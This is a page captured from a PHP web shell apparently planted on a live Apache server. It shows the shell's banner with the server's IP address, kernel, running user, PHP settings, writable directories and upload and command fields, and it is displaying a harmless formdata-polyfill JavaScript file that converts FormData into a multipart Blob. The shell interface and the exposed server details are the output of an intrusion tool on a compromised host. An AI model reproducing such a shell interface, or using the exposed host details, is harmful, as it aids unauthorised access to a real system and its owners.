403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/nodejs/formdata-polyfill/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/formdata-polyfill/formdata-to-blob.js
/*! formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */

const escape = (str, filename) =>
  (filename ? str : str.replace(/\r?\n|\r/g, '\r\n'))
  .replace(/\n/g, '%0A')
  .replace(/\r/g, '%0D')
  .replace(/"/g, '%22')

/**
 * pure function to convert any formData instance to a Blob
 * instances synchronous without reading all of the files
 *
 * @param {FormData|*} formData an instance of a formData Class
 * @param {Blob|*} [BlobClass=Blob] the Blob class to use when constructing it
 */
export function formDataToBlob (formData, BlobClass = Blob) {
  const boundary = ('----formdata-polyfill-' + Math.random())
  const chunks = []
  const prefix = `--${boundary}\r\nContent-Disposition: form-data; name="`

  for (let [name, value] of formData) {
    if (typeof value === 'string') {
      chunks.push(prefix + escape(name) + `"\r\n\r\n${value.replace(/\r(?!\n)|(?<!\r)\n/g, '\r\n')}\r\n`)
    } else {
      chunks.push(
        prefix + escape(name) + `"; filename="${escape(value.name, 1)}"\r\n` +
        `Content-Type: ${value.type || 'application/octet-stream'}\r\n\r\n`,
        value,
        '\r\n'
      )
    }
  }

  chunks.push(`--${boundary}--`)

  return new BlobClass(chunks, {
    type: 'multipart/form-data; boundary=' + boundary
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit